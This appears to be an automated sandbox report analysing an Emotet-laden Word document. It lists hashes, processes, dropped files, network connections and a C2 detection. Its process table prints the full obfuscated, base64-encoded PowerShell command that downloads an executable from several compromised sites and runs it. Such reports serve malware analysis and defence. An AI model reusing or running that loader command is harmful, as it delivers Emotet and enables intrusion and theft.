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| File name: | AUWWFJ20 9月 30.doc |
| Full analysis: | https://app.any.run/tasks/33b6a591-4c85-4a94-b576-d99c47dec730 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | September 29, 2020, 23:02:31 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Quo., Author: Nathan Le gall, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Sep 29 23:12:00 2020, Last Saved Time/Date: Tue Sep 29 23:12:00 2020, Number of Pages: 1, Number of Words: 3731, Number of Characters: 21269, Security: 8 |
| MD5: | 0D78BD38F72C3ACFAA06DA08868645DC |
| SHA1: | BD6FAB103CC846190158C67C680292965789E18C |
| SHA256: | FBDACF9E30368D59414B52F459D935964B7833D6D8467BF0EB4CCFA97F71E4D6 |
| SSDEEP: | 1536:TNVLAAAAcAAAAAUmPxwMddylbvuNm9F96qpXWAfjlyqt:TLAAAAcAAAAAUSxRYs4hLlyqt |
MALICIOUS
Application was dropped or rewritten from another process
- Pccesw28f.exe (PID: 1724)
- newdev.exe (PID: 1132)
Changes the autorun value in the registry
- newdev.exe (PID: 1132)
Connects to CnC server
- newdev.exe (PID: 1132)
EMOTET was detected
- newdev.exe (PID: 1132)
SUSPICIOUS
PowerShell script executed
- POwersheLL.exe (PID: 3828)
Executed via WMI
- POwersheLL.exe (PID: 3828)
Creates files in the user directory
- POwersheLL.exe (PID: 3828)
Executable content was dropped or overwritten
- Pccesw28f.exe (PID: 1724)
- POwersheLL.exe (PID: 3828)
Starts itself from another location
- Pccesw28f.exe (PID: 1724)
Reads Internet Cache Settings
- newdev.exe (PID: 1132)
INFO
Reads settings of System Certificates
- POwersheLL.exe (PID: 3828)
Creates files in the user directory
- WINWORD.EXE (PID: 2232)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2232)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| CompObjUserType: | Microsoft Word 97-2003 Document |
|---|---|
| CompObjUserTypeLen: | 32 |
| LocaleIndicator: | 1033 |
| CodePage: | Unicode UTF-16, little endian |
| HeadingPairs: |
|
| TitleOfParts: | - |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 15 |
| CharCountWithSpaces: | 24951 |
| Paragraphs: | 49 |
| Lines: | 177 |
| Company: | - |
| Security: | Locked for annotations |
| Characters: | 21269 |
| Words: | 3731 |
| Pages: | 1 |
| ModifyDate: | 2020:09:29 22:12:00 |
| CreateDate: | 2020:09:29 22:12:00 |
| TotalEditTime: | - |
| Software: | Microsoft Office Word |
| RevisionNumber: | 1 |
| LastModifiedBy: | - |
| Template: | Normal.dotm |
| Comments: | - |
| Keywords: | - |
| Author: | Nathan Le gall |
| Subject: | - |
| Title: | Quo. |
Total processes
40
Monitored processes
4
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2232 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\AUWWFJ20 9月 30.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3828 | POwersheLL -ENCOD JABKADYAZQBvADQAMAA1AD0AKAAoACcAUAB5ACcAKwAnAHgAMQBnACcAKQArACcAeQA1ACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBwAFIAbwBmAGkATABlAFwAQQBiAEMAcQAwAEwANABcAFAARQBpAGsAcAA0AFQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAFUAYABSAGkAYABUAFkAUAByAG8AdABPAGMAYABPAEwAIgAgAD0AIAAoACcAdABsACcAKwAoACcAcwAxADIAJwArACcALAAnACsAJwAgAHQAJwApACsAJwBsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABYADkAZgAzAG4AeQBlACAAPQAgACgAJwBQACcAKwAoACcAYwBjAGUAcwAnACsAJwB3ACcAKQArACgAJwAyADgAJwArACcAZgAnACkAKQA7ACQASABmAGoANABwAGUAcAA9ACgAJwBMAHQAJwArACgAJwB1ADIAJwArACcAZAAnACkAKwAnAGMAaQAnACkAOwAkAEcAOQA0ADgAawBzAGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAKAAnAEUAUgBBACcAKwAnAGIAYwBxACcAKQArACgAJwAwAGwANAAnACsAJwBjAEUAJwApACsAKAAnAFIAUABlAGkAawAnACsAJwBwACcAKwAnADQAJwApACsAKAAnAHQAYwBFACcAKwAnAFIAJwApACkALgAiAHIARQBwAGwAQQBgAGMARQAiACgAKAAnAGMAJwArACcARQBSACcAKQAsACcAXAAnACkAKQArACQAWAA5AGYAMwBuAHkAZQArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFcAawB6AGMAcwA5AGwAPQAoACcAUgBtACcAKwAoACcAMgBvAGQAJwArACcAMgBlACcAKQApADsAJABFAHAAdQBtAGwAdwA2AD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAdAAuAHcARQBiAGMATABJAGUATgBUADsAJABJAHoAcwB1AHkAbQBxAD0AKAAoACcAaAB0AHQAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwB0AHIAdQAnACsAJwBlAHQAZQAnACsAJwBlAHMAJwArACcAaABpACcAKQArACgAJwByAHQALgBjAG8AbQAvACcAKwAnAHcAcAAtAGEAZABtACcAKwAnAGkAJwApACsAKAAnAG4AJwArACcALwA1AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnAHMAOgAnACsAKAAnAC8ALwBuAGgAYQAnACsAJwBwACcAKQArACgAJwBoAG8AJwArACcAbQBhAHUALgBjAG8AJwApACsAJwBtACcAKwAnAC8AcwAnACsAKAAnAGEANwAvACcAKwAnACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBlAGMAJwApACsAJwBrAC0AJwArACgAJwBlAGwAJwArACcAZQAnACsAJwBjAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAC4AYwAnACsAJwBvAG0ALwB3AHAAJwArACcALQBpAG4AYwAnACkAKwAoACcAbAB1ACcAKwAnAGQAZQAnACkAKwAoACcAcwAvAHYAJwArACcAVQAnACkAKwAnAEIAJwArACgAJwAvACoAJwArACcAaAB0AHQAcAA6ACcAKwAnAC8ALwB0ACcAKQArACgAJwBlACcAKwAnAGMAaAAnACkAKwAoACcAaQBuACcAKwAnAG8AdAAnACsAJwBpAGYAaQBjAGEAdAAnACsAJwBpACcAKQArACgAJwBvACcAKwAnAG4ALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwB3AHAALQBpACcAKwAnAG4AJwApACsAJwBjACcAKwAoACcAbAB1AGQAZQBzACcAKwAnAC8AJwApACsAKAAnAGkAaQAxACcAKwAnAHAAZAAnACkAKwAoACcAMAAnACsAJwB4AC8AKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwAnACsAJwBlAGQAaQB0AHoAYQByACcAKwAnAG0AeQAuACcAKQArACcAYwAnACsAJwBvACcAKwAnAG0AJwArACgAJwAvACcAKwAnAGoAbwB1AHIAJwApACsAKAAnAG4AJwArACcAYQBsAC8AVwAnACkAKwAoACcAaQBuAEUAJwArACcAQQAvACcAKwAnACoAaAB0AHQAJwArACcAcABzACcAKwAnADoALwAvAG4AbwBpAHQAaAAnACsAJwBhACcAKQArACgAJwB0AGYAJwArACcAaABvAHUAcwAnACsAJwBlAC4AYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACgAJwBjACcAKwAnAGwAdQBkAGUAcwAvACcAKQArACcAZwAnACsAKAAnADUASgBJADIAMQBTAC8AKgAnACsAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8AJwArACcALwB0AGUAYwBoAGkAdAAnACsAJwByAGUAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGkAbgBjAGwAdQAnACkAKwAnAGQAZQAnACsAKAAnAHMALwAnACsAJwBxAE8ALwAnACkAKQAuACIAcwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABHAHkAeQB5AHYANABqAD0AKAAoACcASQAnACsAJwB4AGkAJwApACsAJwBsACcAKwAoACcAbgAnACsAJwA3AF8AJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABQADEAMABjAGcAdgBjACAAaQBuACAAJABJAHoAcwB1AHkAbQBxACkAewB0AHIAeQB7ACQARQBwAHUAbQBsAHcANgAuACIARABPAGAAdwBOAGwATwBhAGAARABgAEYAaQBMAGUAIgAoACQAUAAxADAAYwBnAHYAYwAsACAAJABHADkANAA4AGsAcwBkACkAOwAkAFgAagAzAHIAaQBjAHkAPQAoACcAVgAnACsAKAAnAF8AJwArACcAZQAnACsAJwBjAG4AYQByACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAEcAOQA0ADgAawBzAGQAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMANAAwADkAOQApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABHADkANAA4AGsAcwBkACkAOwAkAEoAcwBwAG8AdQB5AGMAPQAoACgAJwBFACcAKwAnADMANgB6AF8AJwApACsAJwA5ACcAKwAnADUAJwApADsAYgByAGUAYQBrADsAJABUAHIANQAwAHkAMABnAD0AKAAoACcASAA1ACcAKwAnAHcAeQBnACcAKQArACcAZgBsACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgA4AGEAbgB1AHcAbgA9ACgAKAAnAFIAJwArACcAcQBjAGwAJwApACsAJwA0ACcAKwAnAHoANgAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 1724 | "C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe" | C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe | POwersheLL.exe | |
User: admin Company: Flex Inc. Integrity Level: MEDIUM Description: Replacement for the Masked Edit Control v 2.0. Exit code: 0 Version: 2.8.0.3 | ||||
| 1132 | "C:\Users\admin\AppData\Local\perfos\newdev.exe" | C:\Users\admin\AppData\Local\perfos\newdev.exe | Pccesw28f.exe | |
User: admin Company: Flex Inc. Integrity Level: MEDIUM Description: Replacement for the Masked Edit Control v 2.0. Version: 2.8.0.3 | ||||
Total events
2 361
Read events
1 463
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
1
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2232 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR783E.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3828 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X6UGNIGOF2C4N2T8SZPZ.temp | — | |
MD5:— | SHA256:— | |||
| 1724 | Pccesw28f.exe | C:\Users\admin\AppData\Local\Temp\~DF78DFB9DF87EA506C.TMP | — | |
MD5:— | SHA256:— | |||
| 3828 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:4028388263805ABA00088A0BA4EEA515 | SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948 | |||
| 2232 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:5962FCCADCC88310FDB95ABC5EBB6628 | SHA256:3B1A42A94AB72AD5BCED4CD1315E047363298F731F116866CE783550EEF4D320 | |||
| 2232 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:ACDE23E2430B636E10A7447ECE5D611C | SHA256:87D43D07A7CE38A6F6AE5F5177E167A0DFEC21BEBE613C8987EDDE87A93D2B5F | |||
| 1724 | Pccesw28f.exe | C:\Users\admin\AppData\Local\perfos\newdev.exe | executable | |
MD5:57F969217D13CAD40CBF14813088AB4D | SHA256:E8C0526075402F09C5481185A2432638E5C93E02CA2FBF708BEC7F891CEB44E5 | |||
| 2232 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$WWFJ20 9月 30.doc | pgc | |
MD5:4010181D5063F488842ED8B773E956F9 | SHA256:D6CB87188A5DB1AAB0DB58F8CB0572C39F4E0775D98104592EFAB9A6DA781C74 | |||
| 3828 | POwersheLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3b82dd.TMP | binary | |
MD5:4028388263805ABA00088A0BA4EEA515 | SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948 | |||
| 3828 | POwersheLL.exe | C:\Users\admin\Abcq0l4\Peikp4t\Pccesw28f.exe | html | |
MD5:F1FEE783DA3C0B18FF92E7C393D24BAC | SHA256:F967EA1ACB2C9222105E879F618E7A0CFBB3C6B4EC64FFAB80E9F02EA6C50750 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
3
DNS requests
2
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1132 | newdev.exe | 104.193.103.61:80 | — | Delcom, Inc. | US | malicious |
3828 | POwersheLL.exe | 172.67.154.168:443 | trueteeshirt.com | — | US | unknown |
3828 | POwersheLL.exe | 202.182.109.85:443 | nhaphomau.com | Managed Solutions Internet AS Internet Service Provider | AU | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
trueteeshirt.com |
| unknown |
nhaphomau.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1132 | newdev.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M10 |